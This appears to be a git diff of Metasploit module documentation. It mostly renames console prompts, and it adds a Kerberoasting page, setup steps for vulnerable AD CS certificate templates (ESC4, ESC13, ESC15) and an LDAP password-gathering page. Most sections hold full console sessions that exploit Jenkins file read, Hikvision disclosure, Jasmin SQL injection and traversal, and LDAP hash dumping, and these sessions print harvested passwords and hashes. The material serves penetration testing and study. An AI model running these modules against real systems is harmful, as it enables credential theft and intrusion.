172.16.199.130 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. +[*] Extracting credential information +glpi_users +========== + + name password api_token + ---- -------- --------- + Plugin_GLPI_Inventory 39 + glpi $2y$10$ci01zoEXHWOfoxietd8ry.2K6Y3wR5bc1dZQiftuFM5hqQtPgD6LS + glpi-system + normal $2y$10$iaxy0646EhwsuBbjAgme4uJN6SN.pbyK.ciTCnep67Wq8x.qt1JvS + post-only $2y$10$//Ca44JjRIV/9Hv1IEM1y.v1aEa3FwzytX4QYtKsxyqF/rnOzROei + tech $2y$10$KjaOxGSyd0CMifvDVNiggOxCVHP0g8jER/jLtZsmF54S63LH5GWIy + +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/auxiliary/gather/grandstream_ucm62xx_sql_account_guess.md b/documentation/modules/auxiliary/gather/grandstream_ucm62xx_sql_account_guess.md index 9ae5fab88c219..563b7be365ba8 100644 --- a/documentation/modules/auxiliary/gather/grandstream_ucm62xx_sql_account_guess.md +++ b/documentation/modules/auxiliary/gather/grandstream_ucm62xx_sql_account_guess.md @@ -40,14 +40,14 @@ Specifies base URI. The default value is `/`. ### Grandstream UCM6202 IP PBX firmware version 1.0.20.20 ``` -msf6 > use auxiliary/gather/grandstream_ucm62xx_sql_account_guess -msf6 auxiliary(gather/grandstream_ucm62xx_sql_account_guess) > set RHOST 10.0.0.7 +msf > use auxiliary/gather/grandstream_ucm62xx_sql_account_guess +msf auxiliary(gather/grandstream_ucm62xx_sql_account_guess) > set RHOST 10.0.0.7 RHOST => 10.0.0.7 -msf6 auxiliary(gather/grandstream_ucm62xx_sql_account_guess) > check +msf auxiliary(gather/grandstream_ucm62xx_sql_account_guess) > check [*] Requesting version information from /cgi [*] 10.0.0.7:8089 - The target appears to be vulnerable. The self-reported version is: 1.0.20.20 -msf6 auxiliary(gather/grandstream_ucm62xx_sql_account_guess) > run +msf auxiliary(gather/grandstream_ucm62xx_sql_account_guess) > run [*] Running module against 10.0.0.7 [*] Running automatic check ("set AutoCheck false" to disable) @@ -60,5 +60,5 @@ msf6 auxiliary(gather/grandstream_ucm62xx_sql_account_guess) > run [*] Found the following username and password: 1003 - pM6mo!E8u37k [*] Found the following username and password: 1004 - mC7N68dm8h [*] Auxiliary module execution completed -msf6 auxiliary(gather/grandstream_ucm62xx_sql_account_guess) > +msf auxiliary(gather/grandstream_ucm62xx_sql_account_guess) > ``` diff --git a/documentation/modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.md b/documentation/modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.md index 54eee52dca0a3..a39672e0ea8d9 100644 --- a/documentation/modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.md +++ b/documentation/modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.md @@ -68,13 +68,13 @@ All information disclosed is by default stored in loot ### Hikvision Camera DS-2CD2142FWD-IS -> firmware version V5.4.1, build 160525 ``` -msf6 auxiliary(gather/hikvision_info_disclosure_cve_2017_7921) > set rhosts 192.168.100.180 +msf auxiliary(gather/hikvision_info_disclosure_cve_2017_7921) > set rhosts 192.168.100.180 rhosts => 192.168.100.180 -msf6 auxiliary(gather/hikvision_info_disclosure_cve_2017_7921) > set ACTION Automatic +msf auxiliary(gather/hikvision_info_disclosure_cve_2017_7921) > set ACTION Automatic ACTION => Automatic -msf6 auxiliary(gather/hikvision_info_disclosure_cve_2017_7921) > set PRINT true +msf auxiliary(gather/hikvision_info_disclosure_cve_2017_7921) > set PRINT true PRINT => true -msf6 auxiliary(gather/hikvision_info_disclosure_cve_2017_7921) > options +msf auxiliary(gather/hikvision_info_disclosure_cve_2017_7921) > options Module options (auxiliary/gather/hikvision_info_disclosure_cve_2017_7921): @@ -95,9 +95,9 @@ Auxiliary action: Automatic Dump all information -msf6 auxiliary(gather/hikvision_info_disclosure_cve_2017_7921) > check +msf auxiliary(gather/hikvision_info_disclosure_cve_2017_7921) > check [+] 192.168.100.180:80 - The target is vulnerable. -msf6 auxiliary(gather/hikvision_info_disclosure_cve_2017_7921) > run +msf auxiliary(gather/hikvision_info_disclosure_cve_2017_7921) > run [*] Running module against 192.168.100.180 [*] Running in automatic mode @@ -151,7 +151,7 @@ Storage device status: HD_NORMAL [+] Camera snapshot is successfully saved to /root/.msf4/loot/20221002172348_default_192.168.100.180_hikvision.image_963468.bin [*] Auxiliary module execution completed -msf6 auxiliary(gather/hikvision_info_disclosure_cve_2017_7921) > creds -O 192.168.100.180 +msf auxiliary(gather/hikvision_info_disclosure_cve_2017_7921) > creds -O 192.168.100.180 Credentials =========== @@ -160,7 +160,7 @@ host origin service public private realm privat 192.168.100.180 192.168.100.180 80/tcp (http) admln asdf1234 Password 192.168.100.180 192.168.100.180 80/tcp (http) admin Pa$$W0rd Password -msf6 auxiliary(gather/hikvision_info_disclosure_cve_2017_7921) > +msf auxiliary(gather/hikvision_info_disclosure_cve_2017_7921) > ``` ## Limitations diff --git a/documentation/modules/auxiliary/gather/ibm_bigfix_sites_packages_enum.md b/documentation/modules/auxiliary/gather/ibm_bigfix_sites_packages_enum.md index fa8503b249ca8..02cd8daee8f73 100644 --- a/documentation/modules/auxiliary/gather/ibm_bigfix_sites_packages_enum.md +++ b/documentation/modules/auxiliary/gather/ibm_bigfix_sites_packages_enum.md @@ -40,10 +40,10 @@ Default false. Show full URL for the packages instead of the filename. ### Relay Version 9.5.10.79 ``` -msf5 > use auxiliary/gather/ibm_bigfix_sites_packages_enum -msf5 auxiliary(gather/ibm_bigfix_sites_packages_enum) > set rhosts +msf > use auxiliary/gather/ibm_bigfix_sites_packages_enum +msf auxiliary(gather/ibm_bigfix_sites_packages_enum) > set rhosts rhosts => -msf5 auxiliary(gather/ibm_bigfix_sites_packages_enum) > exploit +msf auxiliary(gather/ibm_bigfix_sites_packages_enum) > exploit [*] Running module against [IP] [+] [Organization] @@ -62,5 +62,5 @@ msf5 auxiliary(gather/ibm_bigfix_sites_packages_enum) > exploit [+] File: [package name] [*] Auxiliary module execution completed -msf5 auxiliary(gather/ibm_bigfix_sites_packages_enum) > +msf auxiliary(gather/ibm_bigfix_sites_packages_enum) > ``` diff --git a/documentation/modules/auxiliary/gather/ipcamera_password_disclosure.md b/documentation/modules/auxiliary/gather/ipcamera_password_disclosure.md index dad04fc8242d6..318f4ed3b2202 100644 --- a/documentation/modules/auxiliary/gather/ipcamera_password_disclosure.md +++ b/documentation/modules/auxiliary/gather/ipcamera_password_disclosure.md @@ -51,10 +51,10 @@ if ($Q::query == "ADMINID") { ### Against the Mock page listed above ``` - msf5 > use auxiliary/gather/ipcamera_password_disclosure - msf5 auxiliary(gather/ipcamera_password_disclosure) > set rhosts 127.0.0.1 + msf > use auxiliary/gather/ipcamera_password_disclosure + msf auxiliary(gather/ipcamera_password_disclosure) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 - msf5 auxiliary(gather/ipcamera_password_disclosure) > run + msf auxiliary(gather/ipcamera_password_disclosure) > run [+] Found: admin:password [*] Scanned 1 of 1 hosts (100% complete) diff --git a/documentation/modules/auxiliary/gather/jasmin_ransomware_dir_traversal.md b/documentation/modules/auxiliary/gather/jasmin_ransomware_dir_traversal.md index bec6edf193a96..d3fe1e09f475a 100644 --- a/documentation/modules/auxiliary/gather/jasmin_ransomware_dir_traversal.md +++ b/documentation/modules/auxiliary/gather/jasmin_ransomware_dir_traversal.md @@ -51,12 +51,12 @@ database credentials. ### Jasmin installed on Ubuntu 22.04 ``` -msf6 > use auxiliary/gather/jasmin_ransomware_dir_traversal -msf6 auxiliary(gather/jasmin_ransomware_dir_traversal) > set rhosts 127.0.0.1 +msf > use auxiliary/gather/jasmin_ransomware_dir_traversal +msf auxiliary(gather/jasmin_ransomware_dir_traversal) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf6 auxiliary(gather/jasmin_ransomware_dir_traversal) > set verbose true +msf auxiliary(gather/jasmin_ransomware_dir_traversal) > set verbose true verbose => true -msf6 auxiliary(gather/jasmin_ransomware_dir_traversal) > rexploit +msf auxiliary(gather/jasmin_ransomware_dir_traversal) > rexploit [*] Reloading module... [+] root:x:0:0:root:/root:/bin/bash @@ -118,10 +118,10 @@ mysql:x:136:143:MySQL Server,,,:/nonexistent:/bin/false [+] Saved file to: /root/.msf4/loot/20240415125844_default_127.0.0.1_jasmin.webpanel._670418.txt [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(gather/jasmin_ransomware_dir_traversal) > set FILE var/www/html/data +msf auxiliary(gather/jasmin_ransomware_dir_traversal) > set FILE var/www/html/data base/db_conection.php FILE => var/www/html/database/db_conection.php -msf6 auxiliary(gather/jasmin_ransomware_dir_traversal) > rexploit +msf auxiliary(gather/jasmin_ransomware_dir_traversal) > rexploit [*] Reloading module... [+] +msf auxiliary(gather/jasmin_ransomware_dir_traversal) > ``` diff --git a/documentation/modules/auxiliary/gather/jasmin_ransomware_sqli.md b/documentation/modules/auxiliary/gather/jasmin_ransomware_sqli.md index 7076bb6fd0fb8..63efb779f0f46 100644 --- a/documentation/modules/auxiliary/gather/jasmin_ransomware_sqli.md +++ b/documentation/modules/auxiliary/gather/jasmin_ransomware_sqli.md @@ -56,14 +56,14 @@ Number of rows from the victim table to pull. Defaults to `nil` which pulls all ### Jasmin installed on Ubuntu 22.04 ``` -msf6 > use auxiliary/gather/jasmin_ransomware_sqli -msf6 auxiliary(gather/jasmin_ransomware_sqli) > set verbose true +msf > use auxiliary/gather/jasmin_ransomware_sqli +msf auxiliary(gather/jasmin_ransomware_sqli) > set verbose true verbose => true -msf6 auxiliary(gather/jasmin_ransomware_sqli) > set rhosts 127.0.0.1 +msf auxiliary(gather/jasmin_ransomware_sqli) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf6 auxiliary(gather/jasmin_ransomware_sqli) > set victims true +msf auxiliary(gather/jasmin_ransomware_sqli) > set victims true victims => true -msf6 auxiliary(gather/jasmin_ransomware_sqli) > run +msf auxiliary(gather/jasmin_ransomware_sqli) > run [*] Dumping login table [*] {SQLi} Executing (select group_concat(cast(concat_ws(';',ifnull(admin,''),ifnull(creds,'')) as binary)) from master) diff --git a/documentation/modules/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read.md b/documentation/modules/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read.md index bb3050da5bb67..03652aa3b23dd 100644 --- a/documentation/modules/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read.md +++ b/documentation/modules/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read.md @@ -99,12 +99,12 @@ Locality to use for reading the file. This may mangle binary files. Defaults to ### jenkins 2.440-jdk17 on Docker ``` -msf6 > use auxiliary/gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read -msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > set rhost 127.0.0.1 +msf > use auxiliary/gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read +msf auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > set rhost 127.0.0.1 rhost => 127.0.0.1 -msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > set file_path /var/jenkins_home/secrets/initialAdminPassword +msf auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > set file_path /var/jenkins_home/secrets/initialAdminPassword file_path => /var/jenkins_home/secrets/initialAdminPassword -msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > run +msf auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > run [*] Running module against 127.0.0.1 [*] Sending requests with UUID: ed148f4d-709a-4d16-a452-4509f3a37ed6 @@ -118,12 +118,12 @@ f5d5f6e98e1f466aad22c0f81ca48fb0 ### jenkins 2.426.2-lts on Docker ``` -msf6 > use auxiliary/gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read -msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > set rhost 127.0.0.1 +msf > use auxiliary/gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read +msf auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > set rhost 127.0.0.1 rhost => 127.0.0.1 -msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > set file_path /var/jenkins_home/secret.key +msf auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > set file_path /var/jenkins_home/secret.key file_path => /var/jenkins_home/secret.key -msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > run +msf auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > run [*] Running module against 127.0.0.1 [*] Sending requests with UUID: 0d69c3f1-7695-4db1-a0c6-08108f33e339 @@ -132,4 +132,4 @@ msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read 6ce26592ad3683cc8d056bea07ffa2696f1b14f0db64dbd122c50ab930e279ad [+] Results saved to: /root/.msf4/loot/20240130204241_default_127.0.0.1_jenkins.file_317409.txt [*] Auxiliary module execution completed -``` \ No newline at end of file +``` diff --git a/documentation/modules/auxiliary/gather/kerberoast.md b/documentation/modules/auxiliary/gather/kerberoast.md new file mode 100644 index 0000000000000..ded67b551a4ec --- /dev/null +++ b/documentation/modules/auxiliary/gather/kerberoast.md @@ -0,0 +1,72 @@ +## Kerberoast + +This module will try to find Service Principal Names (SPN) that are associated with normal user accounts on the specified domain, and then submit requests to retrieve Ticket Granting Service (TGS) tickets for those accounts, which may be partially encrypted with the SPN user's NTLM hash. After retrieving the TGS tickets, offline brute forcing attacks can be performed to retrieve the passwords for the SPN accounts. + +## Module usage + +- Start `msfconsole` +- Do: `use auxiliary/gather/kerberoast` +- Do: `run rhost= domain= password= username= target_user=` +- If a target user has been requested, the module will log in to LDAP, find any SPNs associated with that user, and then request that service ticket. +- If no target user has been requested, the module will request service tickets for all available users. +- A crackable value will be displayed for all valid accounts. + + +## Options + +### DOMAIN / LDAPDOMAIN +The Fully Qualified Domain Name (FQDN). Ex: mydomain.local. + +### USERNAME / LDAPUSERNAME +The username to authenticate to the DC with + +### PASSWORD / LDAPPASSWORD +The password to authenticate to the DC with + +### Rhostname + +The hostname of the domain controller. Must be accurate otherwise the module will silently fail, even if users exist without pre-auth required. + +## Scenarios + +### Target user + +To retrieve a TGS for a particular user, set `TARGET_USER`. + +```msf +msf auxiliary(gather/kerberoast) > run rhost=20.248.208.9 ldapdomain=msf.local ldappassword=PasswOrd123 ldapusername=AzureAdmin target_user=low.admin +[*] Running module against 20.248.208.9 +[+] 20.248.208.9:88 - Received a valid TGT-Response +[*] 20.248.208.9:389 - TGT MIT Credential Cache ticket saved to /home/user/.msf4/loot/20250513155454_default_20.248.208.9_mit.kerberos.cca_656516.bin +[+] 20.248.208.9:88 - Received a valid TGS-Response +[*] 20.248.208.9:389 - TGS MIT Credential Cache ticket saved to /home/user/.msf4/loot/20250513155454_default_20.248.208.9_mit.kerberos.cca_233943.bin +[+] Success: +$krb5tgs$17$low.admin$MSF.LOCAL$*http/abc.msf.local*$faf4a87156a49afd69de3c8b$582f8daec4a5f88fba... +[*] Auxiliary module execution completed +``` + +### All users + +``` +msf auxiliary(gather/kerberoast) > run rhost=20.248.208.9 ldapdomain=msf.local ldappassword=PasswOrd123 ldapusername=AzureAdmin +[*] Running module against 20.248.208.9 + +[+] 20.248.208.9:88 - Received a valid TGT-Response +[*] 20.248.208.9:389 - TGT MIT Credential Cache ticket saved to /home/smash/.msf4/loot/20250513155630_default_20.248.208.9_mit.kerberos.cca_281438.bin +[+] 20.248.208.9:88 - Received a valid TGS-Response +[*] 20.248.208.9:389 - TGS MIT Credential Cache ticket saved to /home/smash/.msf4/loot/20250513155630_default_20.248.208.9_mit.kerberos.cca_360340.bin +[+] 20.248.208.9:88 - Received a valid TGT-Response +[*] 20.248.208.9:389 - TGT MIT Credential Cache ticket saved to /home/smash/.msf4/loot/20250513155630_default_20.248.208.9_mit.kerberos.cca_642663.bin +[+] 20.248.208.9:88 - Received a valid TGS-Response +[*] 20.248.208.9:389 - TGS MIT Credential Cache ticket saved to /home/smash/.msf4/loot/20250513155630_default_20.248.208.9_mit.kerberos.cca_556183.bin + +[+] Query returned 2 results. +[+] Success: +$krb5tgs$23$*kerber.roastable$MSF.LOCAL$http/abc2.msf.local*$d335dc07b2c018de2a19e2ecc102bd1d$abc848... +$krb5tgs$17$low.admin$MSF.LOCAL$*http/abc.msf.local*$a1c7c1c1e31e36cdb0721928$b69b48... +[!] NOTE: Multiple encryption types returned - will require separate cracking runs for each type. +[*] To obtain the crackable values for a praticular type, run `creds`: +[*] creds -t krb5tgs-rc4 -O 20.248.208.9 -o +[*] creds -t krb5tgs-aes128 -O 20.248.208.9 -o +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/auxiliary/gather/kerberos_enumusers.md b/documentation/modules/auxiliary/gather/kerberos_enumusers.md index f727faa40c57e..1f055750f84f6 100644 --- a/documentation/modules/auxiliary/gather/kerberos_enumusers.md +++ b/documentation/modules/auxiliary/gather/kerberos_enumusers.md @@ -30,7 +30,7 @@ accounts. Create a new `./users.txt` file, then run the module: ``` -msf6 auxiliary(gather/kerberos_enumusers) > run rhost=192.168.123.228 domain=domain.local user_file=./users.txt verbose=true +msf auxiliary(gather/kerberos_enumusers) > run rhost=192.168.123.228 domain=domain.local user_file=./users.txt verbose=true [*] Running module against 192.168.123.228 [*] Using domain: ADF3.LOCAL - 192.168.123.228:88... @@ -42,7 +42,7 @@ msf6 auxiliary(gather/kerberos_enumusers) > run rhost=192.168.123.228 domain=dom [+] 192.168.123.228:88 - User: "fake_mysql" is present [*] 192.168.123.228:88 - User: "missing1234" user not found [*] Auxiliary module execution completed -msf6 auxiliary(gather/kerberos_enumusers) > +msf auxiliary(gather/kerberos_enumusers) > ``` ### ASREPRoasting diff --git a/documentation/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.md b/documentation/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.md index 2011de18fa85c..eed7f81c2f0ce 100644 --- a/documentation/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.md +++ b/documentation/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.md @@ -79,6 +79,58 @@ a normal user account by analyzing the objects in LDAP. 1. Scroll down and select the `ESC3-Template2` certificate, and select `OK`. 1. The certificate should now be available to be issued by the CA server. +### Setting up a ESC4 Vulnerable Certificate Template +1. Follow the instructions above to duplicate the ESC2 template and name it `ESC4-Template`, then click `Apply`. +1. Go to the `Security` tab. +1. Under `Groups or usernames` select `Authenticated Users` +1. Under `Permissions for Authenticated Users` select `Write` -> `Allow`. +1. Click `Apply` and then click `OK` to issue the certificate. +1. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder. +1. Click `New` followed by `Certificate Template to Issue`. +1. Scroll down and select the `ESC3-Template2` certificate, and select `OK`. +1. The certificate should now be available to be issued by the CA server. + +### Setting up a ESC13 Vulnerable Certificate Template +1. Follow the instructions above to duplicate the ESC2 template and name it `ESC13`, then click `Apply`. +1. Go to the `Extensions` tab, click the Issuance Policies entry, click the `Add` button, click the `New...` button. +1. Name the new issuance policy `ESC13-Issuance-Policy`. +4. Copy the Object Identifier as this will be needed later (ex: 11.3.6.1.4.1.311.21.8.12682474.6065318.6963902.6406785.3291287.83.1172775.12545198`). +1. Leave the CPS location field blank. +1. Click `Apply`. +1. Open Active Directory Users and Computers, expand the domain on the left hand side. +1. Right click `Users` and navigate to New -> Group. +1. Enter `ESC13-Group` for the Group Name. +1. Select `Universal` for Group scope and `Security` for Group type. +1. Click `Apply`. +1. Open ADSI Edit. +1. In the left hand side right click `ADSI Edit` and select `Connect to...`. +1. Under `Select a well known naming context` select `Default naming context`. +1. Select the newly established connection, select the domain, select `CN=User`. +1. On the right hand side find the recently created security group `CN=ESC13-Group`, right click select properties. +1. Copy the value of the `distinguishedName` attribute, save this as we'll need it later. +1. Back on the left hand side establish another connection, right click `ADSI Edit` and select `Connect to...`. +1. This time under `Select a well known naming context` select `Configuration`. +1. Select the newly established connection, select the domain, select `CN=Services` -> `CN=Public Key Services` -> `CN=OID`. +1. In the right hand side find the object that corresponds to the Object Identifier saved earlier. +1. The OID saved earlier ended in `12545198`, the object on the right will start with `CN=12545198.` followed by 34 hex characters. ex: `CN=12545198.7BCA239924D9515E63EA6B6F00748837`). +1. Once located right click -> properties, select `msDS-OIDToGroupLink`. +1. Paste the `distingushedName` of the security group saved above (ex: `CN=ESC13-Group,CN=Users,DC=demo,DC=lab`). +1. Click `Apply`. +1. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder. +1. Click `New` followed by `Certificate Template to Issue`. +1. Scroll down and select the `ESC13-Template` certificate, and select `OK`. +1. The certificate should now be available to be issued by the CA server. + +### Setting up a ESC15 Vulnerable Certificate Template +1. ESC15 depends on the schema version of the template being version 1 - which can no longer be created so we will edit an existing template that is schema version 1. +1. Right click the `WebServer` template, select properties. +1. Go to the Security Tab. +1. Under `Groups or usernames` select `Authenticated Users`. +1. Under `Permissions for Authenticated Users` select `Enroll` -> `Allow`. +1. Click Apply. +1. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder and ensure `WebServer` is listed, if it's not, add it. +1. The certificate should now be available to be issued by the CA server. + ## Module usage 1. Do: Start msfconsole @@ -106,7 +158,7 @@ enrollable by at least one additional user or group. ### Windows Server 2022 with AD CS ```msf -msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run +msf auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run [*] Running module against 192.168.159.10 [*] Discovering base DN automatically diff --git a/documentation/modules/auxiliary/gather/ldap_hashdump.md b/documentation/modules/auxiliary/gather/ldap_hashdump.md deleted file mode 100644 index a0821969a10a9..0000000000000 --- a/documentation/modules/auxiliary/gather/ldap_hashdump.md +++ /dev/null @@ -1,204 +0,0 @@ -## Vulnerable Application - -### Description - -This module uses an LDAP connection to dump data from LDAP server -using an anonymous or authenticated bind. -Searching for specific attributes it collects user credentials. - -### Setup - -Tested in the wild. - -You may eventually setup an intentionally insecure OpenLDAP server in docker. -The below OpenLDAP server does not have any ACL, therefore the hashPassword -attributes are readable by anonymous clients. - -``` -$ git clone https://github.com/HynekPetrak/bitnami-docker-openldap.git -$ cd bitnami-docker-openldap -$ docker-compose up -d -Creating bitnami-docker-openldap_openldap_1 ... done - -msf5 auxiliary(gather/ldap_hashdump) > set RHOSTS 127.0.0.1 -RHOSTS => 127.0.0.1 -msf5 auxiliary(gather/ldap_hashdump) > set RPORT 1389 -RPORT => 1389 -msf5 auxiliary(gather/ldap_hashdump) > options - -Module options (auxiliary/gather/ldap_hashdump): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - BASE_DN no LDAP base DN if you already have it] - DOMAIN no The domain to authenticate to - MAX_LOOT no Maximum number of LDAP entries to loot - PASSWORD no The password to authenticate with - PASS_ATTR userPassword, sambantpassword, sambalmpassword, mailu yes LDAP attribute, that contains password hashes - serpassword, password, pwdhistory, passwordhistory, c - learpassword - READ_TIMEOUT 600 no LDAP read timeout in seconds - RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.h - tml - RPORT 1389 yes The target port - SSL true no Enable SSL on the LDAP connection - THREADS 1 yes The number of concurrent threads (max one per host) - USERNAME no The username to authenticate with - USER_ATTR dn no LDAP attribute(s), that contains username - - Auxiliary action: - Name Description - ---- ----------- - Dump Dump all LDAP data - - -msf5 auxiliary(gather/ldap_hashdump) > - -msf5 auxiliary(gather/ldap_hashdump) > run -[*] Running module against 127.0.0.1 - -[*] Discovering base DN automatically -[*] Searching root DSE for base DN -[+] Discovered base DN: dc=example,dc=org -[*] Dumping LDAP data from server at 127.0.0.1:1389 -[*] Storing LDAP data in loot -[+] Saved LDAP data to /home/hynek/.msf4/loot/20200801220435_default_127.0.0.1_LDAPInformation_704646.txt -[*] Searching for attribute: userPassword -[*] Taking dn attribute as username -[+] Credentials found: cn=user01,ou=users,dc=example,dc=org:password1 -[+] Credentials found: cn=user02,ou=users,dc=example,dc=org:password2 -[*] Auxiliary module execution completed -msf5 auxiliary(gather/ldap_hashdump) > - -``` - -## Verification Steps - -Follow [Setup](#setup) and [Scenarios](#scenarios). - -## Actions - -### Dump - -Dump all LDAP data from the LDAP server. - -## Options - -### BASE_DN - -If you already have the LDAP base DN, you may set it in this option. - -### USER_ATTR - -LDAP attribute to take the user name from. Defaults to DN, however you may -wish to change it UID, name or similar. - -### PASS_ATTR - -LDAP attribute to take the password hash from. Defaults to userPassword, -some LDAP server may use different attribute, e.g. unixUserPassword, -sambantpassword, sambalmpassword. - -## Scenarios - -### Avaya Communication Manager via anonymous bind - -``` -msf5 > use auxiliary/gather/ldap_hashdump -msf5 auxiliary(gather/ldap_hashdump) > options - -Module options (auxiliary/gather/ldap_hashdump): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - BASE_DN no LDAP base DN if you already have it - PASS_ATTR userPassword yes LDAP attribute, that contains password hashes - RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' - RPORT 389 yes The target port - SSL false no Enable SSL on the LDAP connection - USER_ATTR dn no LDAP attribute, that contains username - - -Auxiliary action: - - Name Description - ---- ----------- - Dump Dump all LDAP data - - -msf5 auxiliary(gather/ldap_hashdump) > set RHOSTS [redacted_ip_address] -RHOSTS => [redacted_ip_address] - -msf5 auxiliary(gather/ldap_hashdump) > run -[*] Running module against [redacted_ip_address] - -[*] Discovering base DN automatically -[*] Searching root DSE for base DN -[+] Discovered base DN: dc=vsp -[*] Dumping LDAP data from server at [redacted_ip_address]:389 -[*] Storing LDAP data in loot -[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726121633_default_[redacted_ip_address]_LDAPInformation_716210.txt -[*] Searching for attribute: userPassword -[*] Taking dn attribute as username -[+] Credentials found: uid=cust,ou=People,dc=vsp:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng== -[+] Credentials found: uid=admin,ou=People,dc=vsp:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng== -[*] Auxiliary module execution completed -msf5 auxiliary(gather/ldap_hashdump) > set USER_ATTR uid -USER_ATTR => uid -msf5 auxiliary(gather/ldap_hashdump) > run -[*] Running module against [redacted_ip_address] - -[*] Discovering base DN automatically -[*] Searching root DSE for base DN -[+] Discovered base DN: dc=vsp -[*] Dumping LDAP data from server at [redacted_ip_address]:389 -[*] Storing LDAP data in loot -[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726121718_default_[redacted_ip_address]_LDAPInformation_712562.txt -[*] Searching for attribute: userPassword -[*] Taking uid attribute as username -[+] Credentials found: cust:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng== -[+] Credentials found: admin:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng== -[*] Auxiliary module execution completed -msf5 auxiliary(gather/ldap_hashdump) > -``` - -### NASDeluxe - NAS with Samba LM/NTLM hashes - -``` -msf5 auxiliary(gather/ldap_hashdump) > set USER_ATTR uid -USER_ATTR => uid -msf5 auxiliary(gather/ldap_hashdump) > set PASS_ATTR sambantpassword -PASS_ATTR => sambantpassword -msf5 auxiliary(gather/ldap_hashdump) > set RHOSTS [redacted_ip_address] -RHOSTS => [redacted_ip_address] - -msf5 auxiliary(gather/ldap_hashdump) > run -[*] Running module against [redacted_ip_address] - -[*] Discovering base DN automatically -[*] Searching root DSE for base DN -[+] Discovered base DN: dc=server,dc=nas -[*] Dumping LDAP data from server at [redacted_ip_address]:389 -[*] Storing LDAP data in loot -[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726201006_default_[redacted_ip_address]_LDAPInformation_026574.txt -[*] Searching for attribute: sambantpassword -[*] Taking uid attribute as username -[+] Credentials found: admin:209C6174DA490CAEB422F3FA5A7AE634 -[+] Credentials found: joe:58E8C758A4E67F34EF9C40944EB5535B -[*] Auxiliary module execution completed - -msf5 auxiliary(gather/ldap_hashdump) > run -[*] Running module against [redacted_ip_address] - -[*] Discovering base DN automatically -[*] Searching root DSE for base DN -[+] Discovered base DN: dc=server,dc=nas -[*] Dumping LDAP data from server at [redacted_ip_address]:389 -[*] Storing LDAP data in loot -[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726201731_default_[redacted_ip_address]_LDAPInformation_427417.txt -[*] Searching for attribute: sambalmpassword -[*] Taking uid attribute as username -[+] Credentials found: admin:F0D412BD764FFE81AAD3B435B51404EE -[+] Credentials found: joe:3417BE166A79DDE2AAD3B435B51404EE -[*] Auxiliary module execution completed -``` diff --git a/documentation/modules/auxiliary/gather/ldap_passwords.md b/documentation/modules/auxiliary/gather/ldap_passwords.md new file mode 100644 index 0000000000000..92440a131b6ee --- /dev/null +++ b/documentation/modules/auxiliary/gather/ldap_passwords.md @@ -0,0 +1,152 @@ +## Vulnerable Application + +### Description + +This module will gather passwords and password hashes from a target LDAP server via multiple techniques including +Windows LAPS. + +### Setup (OpenLDAP via Docker) + +Tested in the wild. + +You may eventually setup an intentionally insecure OpenLDAP server in docker. +The below OpenLDAP server does not have any ACL, therefore the hashPassword +attributes are readable by anonymous clients. + +``` +$ git clone https://github.com/HynekPetrak/bitnami-docker-openldap.git +$ cd bitnami-docker-openldap +$ docker-compose up -d +Creating bitnami-docker-openldap_openldap_1 ... done +``` + +``` +msf auxiliary(gather/ldap_passwords) > rerun 